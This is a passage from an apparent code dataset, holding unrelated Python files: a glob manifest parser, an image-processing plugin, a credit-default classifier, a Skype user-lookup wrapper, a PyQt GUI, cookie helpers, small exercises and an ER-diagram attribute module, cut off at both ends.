rule.startswith(\"#\") or len(rule) == 0:\n continue\n\n m = RE_SPLIT_STR.match(rule)\n if m is not None:\n rule = (m.group(1), m.group(2))\n else:\n rule = ('+', rule)\n\n if isinstance(rule, tuple):\n rule = ManifestRule(rule[1], exclude=rule[0] == '-')\n\n if not isinstance(rule, ManifestRule):\n raise TypeError(\"Got unexpected rule value %r\"%(rule,))\n\n self._rules.append(rule)\n finally:\n if fileobj:\n fileobj.close()\n\n def matches(self, path):\n if not path.startswith(\"/\"):\n path = \"/\" + path\n\n v = True\n for r in self:\n m = r.matches(path)\n if m is not None:\n v = m\n return v\n\n def __iter__(self):\n return iter(self._rules)\n\n#\n# Translate\n#\n\nclass _TranslateGlob(object):\n def __init__(self, s, trace):\n self.s = s\n self.regex = []\n self.state = self._state_start\n self.i = 0\n self.n = len(s)\n\n self.match_all = False\n self.has_slash = False\n self.leading_starslash = False\n self.trailing_starslash = False\n\n while self.i < self.n:\n c = self.s[self.i]\n if trace:\n sys.stderr.write(\"%s %r\\n\"%(self.state.__name__, c))\n self.i += 1\n self.state(c)\n\n if trace:\n sys.stderr.write(\"%s %r\\n\"%(self.state.__name__, ''))\n self.state('')\n\n def _state_start(self, c):\n if c == '':\n self.match_all = True\n elif c == '*':\n self.state = self._state_prefix_star\n elif c == '[':\n self.state = self._state_bracket\n elif c == '?':\n self.regex.append('.')\n self.state = self._state_main\n elif c == '/':\n self.regex.append('/')\n self.has_slash = True\n self.state = self._state_main\n else:\n self.regex.append(c)\n self.state = self._state_main\n\n def _state_prefix_star(self, c):\n if c == '*':\n self.state = self._state_prefix_star2\n else:\n self.regex.append(\".*?\")\n self.i -= 1\n self.state = self._state_main\n\n def _state_prefix_star2(self, c):\n if c == '/':\n self.has_slash = True\n self.leading_starslash = True\n self.state = self._state_main\n elif c == '':\n self.match_all = True\n else:\n raise ValueError\n\n def _state_main(self, c):\n if c == '':\n pass\n elif c == '*':\n self.state = self._state_star\n elif c == '?':\n self.regex.append('.')\n elif c == '/':\n self.state = self._state_slash\n elif c == '[':\n self.state = self._state_bracket\n else:\n self.regex.append(re.escape(c))\n\n def _state_star(self, c):\n if c == '*':\n raise ValueError\n self.regex.append(\".*?\")\n self.i -= 1\n self.state = self._state_main\n\n def _state_slash(self, c):\n self.has_slash = True\n if c == '/':\n return\n elif c == '*':\n self.state = self._state_slashstar\n else:\n self.regex.append(\"/\")\n self.i -= 1\n self.state = self._state_main\n\n def _state_slashstar(self, c):\n if c == '*':\n self.state = self._state_slashstarstar\n else:\n self.regex.append(\"/.*?\")\n self.regex.append(c)\n self.state = self._state_main\n\n def _state_slashstarstar(self, c):\n if c == '':\n self.trailing_starslash = True\n elif c == '/':\n self.regex.append(\"/.*?/\")\n self.state = self._state_main\n else:\n raise ValueError\n\n def _state_bracket(self, c):\n self.bracket = [c]\n self.state = self._state_bracket_main\n\n def _state_bracket_main(self, c):\n if c == ']':\n if self.bracket[0] == '!':\n prefix = \"^\"\n series = \"\".join(self.bracket[1:])\n else:\n prefix = \"\"\n series = \"\".join(self.bracket)\n\n self.regex.append(\"[%s%s]\"%(prefix, series.replace(\"\\\\\", \"\\\\\\\\\")))\n\n self.state = self._state_main\n elif c == '':\n self.regex.append(re.escape(\"[\"+\"\".join(self.bracket)))\n else:\n self.bracket.append(c)\n\n def compile(self):\n if self.match_all:\n return re.compile('.*')\n\n if not self.has_slash or self.leading_starslash:\n self.regex.insert(0, \"/\")\n else:\n self.regex.insert(0, \"^\")\n\n if self.trailing_starslash:\n self.regex.append(\"/\")\n else:\n self.regex.append(\"$\")\n\n return re.compile(\"\".join(self.regex))\n\ndef translate_glob(s, trace=False):\n return _TranslateGlob(s, trace).compile()\n","sub_path":"staticky/manifest.py","file_name":"manifest.py","file_ext":"py","file_size_in_byte":6007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"539941515","text":"from maskgen import image_wrap\nimport numpy as np\nimport maskgen\nfrom maskgen.jpeg import utils\n\n\"\"\"\nDetermine new parameters based on an image's current metrics (qualify factor, size, etc.).\nReturns selected_width,selected_height and quality_factor.\n\"\"\"\n\ndef transform(img, source, target, **kwargs):\n qf_donor = source\n if 'donor' in kwargs:\n qf_donor = kwargs['donor']\n img = image_wrap.openImageFile(kwargs['donor'])\n w_c = float(kwargs['percentage_width'])\n h_c = float(kwargs['percentage_height'])\n qf_c = float(kwargs['percentage_qf']) if 'percentage_qf' in kwargs else 1.0\n qf = int(kwargs['quality_factor']) if 'quality_factor' in kwargs else None\n cv_image = np.asarray(img.to_array())\n h = int(cv_image.shape[0] * h_c)\n w = int(cv_image.shape[1] * w_c)\n w = w + (8 - w % 8)\n h = h + (8 - h % 8)\n if qf is None:\n qf = utils.estimate_qf(qf_donor)\n return {'selected_width': w, 'selected_height': h, 'quality_factor': int(qf*qf_c)}, None\n\ndef operation():\n return {\n 'category': 'Select',\n 'name': 'SelectRegion',\n 'type':'selector',\n 'description': 'Select image parameters selected_width,selected_height, and quality_factor for use by other plugins',\n 'software': 'maskgen',\n 'version': maskgen.__version__[0:3],\n 'arguments': {'percentage_width': {'type': \"float[0.01:2]\", 'description': 'percentage change'},\n 'percentage_height': {'type': \"float[0.01:2]\", 'description': 'percentage change'},\n 'percentage_qf': {'type': \"float[0.7:1]\", 'description': 'percentage change in quality factory'},\n 'quality_factor': {'type': \"int[50:100]\", 'description': 'override quality factor'}\n },\n 'transitions': [\n 'image.image'\n ]\n }\n\n\ndef suffix():\n return '.png'\n","sub_path":"plugins/DetermineImageParameters/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"533751469","text":"def func(str):\r\n str.lower()\r\n for i in range(len(str)):\r\n for j in range(i+1,len(str)):\r\n if (str[i]==str[j]):\r\n return str[i]\r\n\r\n\r\n\r\nstr=\"hello\"\r\nprint(func(str))","sub_path":"DataStructures and Algo/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"354633538","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder,OneHotEncoder\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import shuffle\nimport warnings\nfrom scipy.stats import norm \nimport re\nimport matplotlib.pyplot as plt\nfrom stop_words import get_stop_words\nimport nltk\nfrom nltk.stem import PorterStemmer , WordNetLemmatizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport seaborn as sns\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import GaussianNB, BernoulliNB, MultinomialNB\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.svm import LinearSVC, SVC\n\nwarnings.filterwarnings(\"ignore\")\n\ndata = pd.read_csv(\"data.csv\")\n\ndata.head()\n\n# replacing nosence values \n\ndata.EDUCATION.replace(to_replace =[0,6],value =5,inplace=True) \n\ndata.MARRIAGE.replace(to_replace=0,value=3,inplace=True)\n\ndata.rename(columns={\"PAY_0\":\"PAY_1\"},inplace =True)\n\ndata.rename(columns={\"default.payment.next.month\":\"default\"},inplace =True)\n\ndata[[\"PAY_1\",\"PAY_2\",\"PAY_3\",\"PAY_4\",\"PAY_5\",\"PAY_6\"]].replace(to_replace = -1,value =0,inplace=True) \n\ndata[[\"PAY_1\",\"PAY_2\",\"PAY_3\",\"PAY_4\",\"PAY_5\",\"PAY_6\"]].replace(to_replace = -2,value = 0,inplace=True) \n\n# plots\n\n# data[\"default\"].hist()\n\n# usampled for data analysis\nfrom sklearn.utils import resample\n\nnot_default = data[data['default']==0]\ndefault = data[data['default']==1]\n\ndefault_upsampled = resample(default,\n replace=True, \n n_samples=int(len(not_default)), \n random_state=33) \nupsampled_analy = pd.concat([not_default, default_upsampled])\nupsampled_analy = shuffle(upsampled_analy)\n\n# fig, ax = plt.subplots()\n# sns.countplot(x='SEX', hue = 'default', data=upsampled_analy, palette='Reds')\n\ntemp = upsampled_analy[upsampled_analy[\"SEX\"]==1]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n\ntemp = upsampled_analy[upsampled_analy[\"SEX\"]==2]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n\n# fig, ax = plt.subplots()\n# sns.countplot(x='EDUCATION', hue = 'default', data=upsampled_analy, palette='Reds')\n\ntemp = upsampled_analy[upsampled_analy[\"EDUCATION\"]==1]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n\ntemp = upsampled_analy[upsampled_analy[\"EDUCATION\"]==2]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n\ntemp = upsampled_analy[upsampled_analy[\"EDUCATION\"]==3]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n# temp.count()\n\ntemp = upsampled_analy[upsampled_analy[\"EDUCATION\"]==4]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n# temp.count()\n\ntemp = upsampled_analy[upsampled_analy[\"EDUCATION\"]==5]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n# temp.count()\n\n# fig, axz = plt.subplots(figsize=(20,15))\n\n# axz = sns.countplot(x='AGE', hue='default', data=upsampled_analy, palette='Reds')\n\n\n# axz.set_ylabel('COUNTS', rotation=0, labelpad=40,size=20)\n# axz.set_xlabel('AGE', size=20)\n# axz.yaxis.set_label_coords(-0.05, 0.95) # (x, y)\n# axz.legend(loc=0,fontsize=20);\n\n# axz.tick_params(labelsize=15) \n\n# fig, axz = plt.subplots(figsize=(20,15))\n\n# axz = sns.countplot(x='LIMIT_BAL', hue='default', data=upsampled_analy, palette='Reds')\n\n\n# axz.set_ylabel('COUNTS', rotation=0, labelpad=40,size=20)\n# axz.set_xlabel('LIMIT_BAL', size=20)\n# axz.yaxis.set_label_coords(-0.05, 0.95) # (x, y)\n# axz.legend(loc=0,fontsize=20);\n\n# axz.tick_params(labelsize=15) \n\n# age is a good feature \n\n# fig, ax = plt.subplots()\n# sns.countplot(x='MARRIAGE', hue = 'default', data=upsampled_analy, palette='Reds')\n\ntemp = upsampled_analy[upsampled_analy[\"MARRIAGE\"]==1]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n\ntemp = upsampled_analy[upsampled_analy[\"MARRIAGE\"]==2]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n\ntemp = upsampled_analy[upsampled_analy[\"MARRIAGE\"]==3]\nfrac = temp.default.value_counts()/temp.shape[0]\nfrac\n\ndata.drop(\"ID\",axis=1,inplace=True)\ndata.drop(\"MARRIAGE\",axis=1,inplace=True)\ndata.drop(\"SEX\",axis=1,inplace=True)\n# data.drop(\"EDUCATION\",axis=1,inplace=True)\ndata.drop(\"AGE\",axis=1,inplace=True)\n\n# data.corr()\n\nnew_temp = data.iloc[:,8:] \nnew_temp.corr()\n\nnew_temp_1 = new_temp[new_temp[\"BILL_AMT2\"]>0]\nnew_temp_2 = new_temp[new_temp[\"BILL_AMT5\"]>0]\nnew_temp_3 = new_temp[new_temp[\"BILL_AMT1\"]>0]\nnew_temp_4 = new_temp[new_temp[\"BILL_AMT4\"]>0]\n\n# plt.scatter(new_temp_3[\"BILL_AMT1\"],new_temp_3[\"BILL_AMT2\"])\n# plt.show()\n\n# # correlation b/w bill amounts\n\n# plt.scatter(new_temp_2[\"BILL_AMT2\"],new_temp_2[\"BILL_AMT3\"])\n# plt.show()\n\n# plt.scatter(new_temp_1[\"BILL_AMT6\"],new_temp_1[\"BILL_AMT5\"])\n# plt.show()\n\n# plt.scatter(new_temp_3[\"BILL_AMT1\"],new_temp_3[\"BILL_AMT6\"])\n# plt.show()\n\n# plt.scatter(new_temp_4[\"BILL_AMT4\"],new_temp_4[\"BILL_AMT6\"])\n# plt.show()\n\ndata.drop(\"BILL_AMT3\",axis=1,inplace=True)\ndata.drop(\"BILL_AMT5\",axis=1,inplace=True)\ndata.drop(\"BILL_AMT2\",axis=1,inplace=True)\n# corelations are also similar\n\n\n\n# training model\n\nX = data.iloc[:,:-1] \ny = data.iloc[:,-1:]\nX_train_val, X_test, y_train_val, y_test = train_test_split(X, y, test_size = 0.25, random_state=36) \nX_train, X_val, y_train, y_val = train_test_split(X_train_val, y_train_val, test_size = 0.3, random_state=99) \n\ntemp_X_train_val = X_train_val\ntemp_X_train_val[\"default\"] = y_train_val[\"default\"]\n\nfrom sklearn.utils import resample\n\nnot_default = temp_X_train_val[temp_X_train_val['default']==0]\ndefault = temp_X_train_val[temp_X_train_val['default']==1]\n\ndefault_upsampled = resample(default,\n replace=True, \n n_samples=int(len(not_default)), \n random_state=33) \nupsampled_data = pd.concat([not_default, default_upsampled])\nupsampled_data = shuffle(upsampled_data)\n\nX_train_upsampled_val = upsampled_data.iloc[:,:-1] \ny_train_upsampled_val = upsampled_data.iloc[:,-1:]\n\nX_train_upsampled_val.head()\n# X_train_upsampled_val.shape\n\n# random Forest\n\nfrom sklearn.ensemble import RandomForestClassifier\nrf = RandomForestClassifier(class_weight=None,min_impurity_split=None,n_estimators=100,warm_start=False) \nrf.fit(X_train_upsampled_val, y_train_upsampled_val) \n\n\npredictions_rf = rf.predict(X_test)\n\nfrom sklearn import metrics\n\n# print(metrics.classification_report(y_test,predictions_rf))\n\nrepo={\"accuracy\":metrics.accuracy_score(y_test,predictions_rf),\"precision\":metrics.precision_score(y_test,predictions_rf),\"recall\":metrics.recall_score(y_test,predictions_rf),\"f1_score\":metrics.f1_score(y_test,predictions_rf)}\n# print(repo)\n\nfeature_importance = pd.DataFrame(rf.feature_importances_,\n index = X_train.columns,\n columns=['Variable_Importance']).sort_values('Variable_Importance',ascending=True)\n# Set seaborn contexts \n# sns.set(style=\"whitegrid\")\n\n# feature_importance.plot.barh(figsize=(15,10))\n\n# feature_importance.head(30)\n\n# precision recall trade off\n\ndef adjusted_classes(y_scores, t):\n return [1 if y >= t else 0 for y in y_scores]\n\npredictions_rf_proba = rf.predict_proba(X_test)\n\nx1 = np.linspace(0.2,0.9,140, endpoint = False) \n\naccuracy = []\nprecision =[]\nrecall =[]\nf1 =[]\nfor x in x1:\n predictions_rf=adjusted_classes(predictions_rf_proba[:,1],x)\n accuracy.append(metrics.accuracy_score(y_test,predictions_rf))\n precision.append(metrics.precision_score(y_test,predictions_rf))\n recall.append(metrics.recall_score(y_test,predictions_rf))\n f1.append(metrics.f1_score(y_test,predictions_rf))\n\n# plt.figure(figsize=(8, 8))\n# plt.title(\"Precision and Recall Scores as a function of the decision threshold\")\n# plt.plot(x1, precision, \"b--\", label=\"Precision\")\n# plt.plot(x1, recall, \"g-\", label=\"Recall\")\n# plt.plot(x1,accuracy,\"r-\",label=\"accuracy\")\n# plt.plot(x1,f1,\"y-\",label=\"f1\")\n# plt.ylabel(\"Score\")\n# plt.xlabel(\"Decision Threshold\")\n# plt.legend(loc='best')\n\npredictions_rf=adjusted_classes(predictions_rf_proba[:,1],0.33)\nrepo={\"accuracy\":metrics.accuracy_score(y_test,predictions_rf),\"precision\":metrics.precision_score(y_test,predictions_rf),\"recall\":metrics.recall_score(y_test,predictions_rf),\"f1_score\":metrics.f1_score(y_test,predictions_rf)}\n\nprint(\"Final Result\")\nprint(\"******************************\")\nprint(repo)\nprint(\"******************************\")\nprint(metrics.classification_report(y_test,predictions_rf))\n\n\n\n","sub_path":"defaulter.py","file_name":"defaulter.py","file_ext":"py","file_size_in_byte":8479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"637152218","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/local/lib/python2.7/dist-packages/i3visiotools/wrappers/skype.py\n# Compiled at: 2014-12-25 06:48:18\nimport logging, os\nfrom platforms import Platform\nimport i3visiotools.general as general, Skype4Py\n\nclass Skype(Platform):\n \"\"\" \n A object for Skype.\n \"\"\"\n\n def __init__(self):\n \"\"\" \n Constructor... \n \"\"\"\n self.platformName = 'Skype'\n self.tags = [\n 'messaging']\n self.NICK_WILDCARD = ''\n self.forbiddenList = []\n self._needsCredentials = True\n self.foundFields = {}\n\n def processProfile(self, info=None, nick=None, url=None):\n \"\"\"\n \"\"\"\n pairs = info.split('; ')\n for p in pairs:\n parts = p.split(':')\n if len(parts) == 2:\n self.foundFields[parts[0]] = parts[1]\n\n return self.foundFields\n\n def getUserPage(self, nick, outputF=None, avoidProcessing=True, avoidDownload=True):\n u\"\"\" \n This public method is in charge of recovering the information from the user profile in Skype.\n \n List of parameters used by this method:\n nick: nick to search\n outputF: will contain a valid path to the outputFolder\n avoidProcessing:will define whether a further process is performed\n \n Return values:\n url URL del usuario en cuestión una vez que se haya confirmado su validez.\n None En el caso de que no se haya podido obtener una URL válida.\n \"\"\"\n try:\n logger = logging.getLogger('usufy')\n if self._isValidUser(nick):\n logger.debug('Starting Skype client...')\n logger.warning('A Skype client must be set up... Note that the program will need a valid session of Skype having been started. If you were performing too many searches, the server may block or ban your account depending on the ToS. Please run this program under your own responsibility.')\n skype = Skype4Py.Skype()\n if not skype.Client.IsRunning:\n skype.Client.Start()\n if not skype.Client.IsRunning:\n logger.error('The Skype application could NOT be started...')\n return\n skype.FriendlyName = 'Usufy with Skype4Py'\n skype.Attach()\n\n def new_skype_status(status):\n if status == Skype4Py.apiAttachAvailable:\n skype.Attach()\n\n skype.OnAttachmentStatus = new_skype_status\n import codecs, sys\n UTF8Writer = codecs.getwriter('utf8')\n sys.stdout = UTF8Writer(sys.stdout)\n info = None\n resultados = skype.SearchForUsers(nick)\n for user in resultados:\n if user.Handle.lower() == nick.lower():\n info = 'i3visio.profile:' + user.Handle + '; '\n try:\n info += 'i3visio.aliases:' + str(user.Aliases) + '; i3visio.fullname:' + str(user.FullName) + '; i3visio.platform:skype://' + user.Handle\n except:\n pass\n\n if info != None:\n if not avoidProcessing:\n logger.debug('Storing the file...')\n strTime = general.getCurrentStrDatetime()\n outputPath = os.path.join(outputF, nick)\n if not os.path.exists(outputPath):\n os.makedirs(outputPath)\n rawFolder = os.path.join(outputPath, 'raw')\n if not os.path.exists(rawFolder):\n os.makedirs(rawFolder)\n rawFilename = os.path.join(rawFolder, nick + '_' + str(self).lower() + '_' + strTime + '.html')\n logger.debug('Writing file: ' + rawFilename)\n with open(rawFilename, 'w') as (oF):\n oF.write(info)\n logger.debug('File saved: ' + rawFilename)\n procFolder = os.path.join(outputPath, 'proc')\n if not os.path.exists(procFolder):\n os.makedirs(procFolder)\n procFilename = os.path.join(procFolder, nick + '_' + str(self).lower() + '_' + strTime + '.json')\n logger.debug('Writing file: ' + procFilename)\n res = self.processProfile(info, nick, None)\n with open(procFilename, 'w') as (oF):\n oF.write(general.dictToJson(res))\n logger.debug('File saved: ' + procFilename)\n rawHistoryName = os.path.join(outputPath, 'history_raw.csv')\n procHistoryName = os.path.join(outputPath, 'history_proc.csv')\n with open(rawHistoryName, 'a') as (oF):\n oF.write(rawFilename + '\\t' + general.fileToMD5(rawFilename) + '\\n')\n with open(procHistoryName, 'a') as (oF):\n oF.write(procFilename + '\\t' + general.fileToMD5(procFilename) + '\\n')\n return res\n else:\n return {}\n\n else:\n logger.debug((str(self) + ':').ljust(18, ' ') + \"The user '\" + nick + \"' will not be processed in this platform.\")\n return\n else:\n return\n except:\n logger.error('A major problem occurred when trying to launch Skype. Check if this program is already opened.')\n\n return\n\n def needsCredentials(self):\n \"\"\" \n Returns if it needsCredentials.\n IT captures the exception if the option does not exist. This way we do not have to recode all the platforms\n \"\"\"\n try:\n return self._needsCredentials\n except:\n return False","sub_path":"pycfiles/i3visiotools-v0.2.3.linux-i686.tar/skype.py","file_name":"skype.py","file_ext":"py","file_size_in_byte":6524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"29380604","text":"# -*- coding: utf-8 -*-\n\n'''\n 【简介】\n PyQt5中 QTabWidget 例子\n\n\n'''\n\nimport sys\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\n\nfrom QUANTAXIS_Monitor_GUI.MainWindow.TabDataMaintenance import *\nfrom QUANTAXIS_Monitor_GUI.MainWindow.TabWebpageCrawly import *\n\nclass TabDemo(QTabWidget):\n def __init__(self, parent=None):\n super(TabDemo, self).__init__(parent)\n\n self.tab1 = TabDataMaintenance()\n self.tab2 = TabWebpageCrawly()\n self.tab3 = QWidget()\n self.tab4 = QWidget()\n self.tab5 = QWidget()\n\n self.addTab(self.tab1, \"数据下载\")\n self.addTab(self.tab2, \"网页数据抓取\")\n self.addTab(self.tab3, \"数据比对清洗\")\n self.addTab(self.tab4, \"数据盘后分析任务\")\n self.addTab(self.tab5, \"系统配置信息\")\n\n\n self.tab1.initUI()\n self.setTabText(0, \" 🗂 数据维护 \")\n self.setTabText(1, \" 📑 网页数据抓取 \")\n self.setTabText(2, \" 🖇 数据比对清洗 \")\n self.setTabText(3, \" 🔍 数据盘后分析任务 \")\n self.setTabText(4, \" 🛠 系统配置信息 \")\n\n\n #self.tab2UI()\n #self.tab3UI()\n #self.tab4UI()\n\n self.setWindowTitle(\"💫 ⭐️ 🌟QUANTAXIS ☕️🍭 任务监控✨ ☀️ 💥 ver.0.0.0.1\")\n #self.setMinimumHeight(800)\n #self.setMinimumWidth(1000)\n #调试的方便使用\n #self.showMaximized()\n\n\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n demo = TabDemo()\n demo.show()\n sys.exit(app.exec_())","sub_path":"QUANTAXIS_Monitor_GUI/MainWindow/MainWin.py","file_name":"MainWin.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"239582320","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport Cookie\nfrom base64 import b64encode\nfrom datetime import timedelta\n\n\ndef randbytes2(bytes):\n return b64encode(os.urandom(bytes)).rstrip('=')\n\n\ndef get_site_cookie(environ, site):\n cookie = Cookie.SimpleCookie()\n if 'HTTP_COOKIE' in environ:\n cookie.load(environ['HTTP_COOKIE'])\n if site in cookie:\n return cookie[site].value\n\n\ndef format_rfc822_date(dt, localtime=True, cookie_format=False):\n if localtime:\n dt = dt - timedelta(hours=8)\n fmt = '%a, %d %b %Y %H:%M:%S GMT'\n if cookie_format:\n fmt = '%a, %d-%b-%Y %H:%M:%S GMT'\n return dt.strftime(fmt)\n\n\ndef format_cookie_date(dt, localtime=True):\n return format_rfc822_date(dt, localtime=True, cookie_format=True)\n","sub_path":"vilya/libs/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"134354040","text":"\ndef permute(s, b = '', permutations = []):\n \"\"\"\n Make all permutations of characters of a string.\n\n In:\n s (str): String to permute characters.\n b (str): String builder making permutation.\n permutations (list[str]): String permutations.\n\n Out:\n (list[str]): All string permutations.\n \"\"\"\n\n if (len(s) == 0):\n permutations += [b]\n return permutations\n\n for i, char in enumerate(s):\n newStr = s[0 : i] + s[i + 1 :]\n newBuilder = b + char\n permutations = permute(newStr, newBuilder, permutations)\n\n return permutations\n\n\ndef palindrome(s):\n \"\"\"\n String is a palindrome.\n \"\"\"\n\n return s == s[-1::-1]\n\n\ndef permutation_palindrome(s):\n permutations = permute(s)\n for permutation in permutations:\n if palindrome(permutation):\n return True\n return False\n\n\nif __name__ == \"__main__\":\n s = 'abc'\n permutations = permutation_palindrome(s)\n print(permutations)\n","sub_path":"dsa/arrays_and_strings/permutation_palindrome/permutation_palindrome.py","file_name":"permutation_palindrome.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"420492434","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nxlsx = pd.ExcelFile(\"data.xlsx\")\r\ndata = pd.read_excel(xlsx,\"Arkusz1\")\r\ndf = pd.DataFrame(data,columns=['Rok','Imie','Liczba','Plec'])\r\n\r\nw1 = df['Plec'] == 'M'\r\ndf2 = df[w1]\r\nb = df2['Liczba'].sum()\r\nw1 = df['Plec'] == 'K'\r\ndf3 = df[w1]\r\ng = df3['Liczba'].sum()\r\n\r\netykieta = df['Rok'].values\r\nmezczyzni = df2.groupby(['Rok']).agg('sum').values.tolist()\r\nkobiety = df3.groupby(['Rok']).agg('sum').values\r\nindex = np.arange(18)\r\nwidth = 0.3\r\nmezczyzni2 = []\r\nkobiety2 = []\r\nfor k in mezczyzni:\r\n mezczyzni2.append(k[0])\r\nfor k in kobiety:\r\n kobiety2.append(k[0])\r\n\r\nplt.bar(index,mezczyzni2,width)\r\nplt.bar(index,kobiety2,width,bottom=mezczyzni2)\r\nplt.xticks(index,etykieta)\r\n\r\nplt.show()","sub_path":"cw_10/zad7.py","file_name":"zad7.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"394138113","text":"import re\n\n\ndef outer_split(s, findall_outer_commas = re.compile(r'[^,]+\\[.*?\\][^,]*|[^,]+').findall):\n return [s.replace(\", \", \",\").strip(\" \\t\").replace(\"\\\\\", \"\") for s in findall_outer_commas(s.replace(\",\", \", \"))]\n\n\n\nclass Attribute:\n\n def __init__(self, attribute, rank, search_label_and_type = re.compile(r\"^(.*?)(?: *\\[(.*)\\])?$\").search):\n (label, dt) = search_label_and_type(attribute).groups()\n self.data_type = dt and dt.replace(\"<<>>\", \",\").replace(\"<<>>\", \":\")\n components = label.split(\"->\")\n if len(components) == 3:\n (self.label, self.primary_entity_name, self.primary_key_label) = components\n else:\n (self.label, self.primary_entity_name, self.primary_key_label) = (label, None, None)\n self.box_type = \"entity\"\n self.font_type = \"entity_attribute_font\"\n self.rank = rank\n\n def calculate_size(self, style, get_font_metrics):\n self.attribute_font = style[self.font_type]\n font = get_font_metrics(self.attribute_font)\n self.w = font.get_pixel_width(self.label)\n self.h = font.get_pixel_height()\n\n def description(self, style, x, y, dx, dy):\n return [\n (\n \"text\",\n {\n \"x\": x + dx,\n \"y\": y + round(dy + style[\"attribute_text_height_ratio\"] * self.h, 1),\n \"text\": self.label,\n \"text_color\": style[f\"{self.box_type}_attribute_text_color\"],\n \"family\": self.attribute_font[\"family\"],\n \"size\": self.attribute_font[\"size\"],\n }\n )\n ]\n\n\nclass SimpleEntityAttribute(Attribute):\n\n def __init__(self, attribute, rank):\n Attribute.__init__(self, attribute, rank)\n\n def get_category(self):\n return \"simple\"\n\n\nclass SimpleAssociationAttribute(Attribute):\n\n def __init__(self, attribute, rank):\n Attribute.__init__(self, attribute, rank)\n self.box_type = \"association\"\n self.font_type = \"association_attribute_font\"\n\n\nclass StrongAttribute(Attribute):\n\n def __init__(self, attribute, rank):\n Attribute.__init__(self, attribute, rank)\n\n def get_category(self):\n return \"strong\"\n\n def description(self, style, x, y, dx, dy):\n return Attribute.description(self, style, x, y, dx, dy) + [\n (\n \"line\",\n {\n \"x0\": x + dx,\n \"y0\": y + dy + self.h + style[\"underline_skip_height\"],\n \"x1\": x + dx + self.w,\n \"y1\": y + dy + self.h + style[\"underline_skip_height\"],\n \"stroke_depth\": style[\"underline_depth\"],\n \"stroke_color\": style['entity_attribute_text_color'],\n }\n )\n ]\n\n\nclass WeakAttribute(Attribute):\n\n def __init__(self, attribute, rank):\n Attribute.__init__(self, attribute, rank)\n\n def get_category(self):\n return \"weak\"\n\n def description(self, style, x, y, dx, dy):\n return Attribute.description(self, style, x, y, dx, dy) + [\n (\n \"dash_line\",\n {\n \"x0\": x + dx,\n \"x1\": x + dx + self.w,\n \"y0\": y + dy + self.h + style[\"underline_skip_height\"],\n \"y1\": y + dy + self.h + style[\"underline_skip_height\"],\n \"dash_width\": style[\"dash_width\"],\n \"stroke_depth\": style[\"underline_depth\"],\n \"stroke_color\": style['entity_attribute_text_color'],\n }\n )\n ]\n\n\nclass PhantomAttribute(Attribute):\n\n def __init__(self, rank):\n Attribute.__init__(self, \"\", rank)\n\n def get_category(self):\n return \"phantom\"\n\n def description(self, style, x, y, dx, dy):\n return []\n","sub_path":"mocodo/attribute.py","file_name":"attribute.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"631659853","text":"def ReverseDict(d1):\n list1 = list(d1.items())\n list1.reverse()\n reverseddict = dict(list1)\n return reverseddict\n\nd1 = {'one':1, 'two':2,'three': 3}\nd2 = {}\nprint(d1)\nd2 = ReverseDict(d1)\nprint(d2,type(d2))","sub_path":"Day Five/task 4.py","file_name":"task 4.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"520863891","text":"import os, itertools\nfrom random import randint\n\ndef readLogFile(file,start = 0,end = None, delimiter = ':'):\n dataDict = {}\n with open(str(file), \"r\") as f:\n for line in itertools.islice(f, start, end):\n line = line.rstrip()\n line = line.split(delimiter)\n line[1] = line[1].strip()\n if line[1][0] == '[':\n line[1] = line[1][1:-1]\n if ',' in line[1]:\n line[1] = line[1].split(',')\n tmp = []\n ma = re.compile('^-?\\d+(,\\d+)*(\\.\\d+(e\\d+)?)?$')\n if type(line[1]) == list:\n for e in line[1]:\n if re.match(ma,e):\n 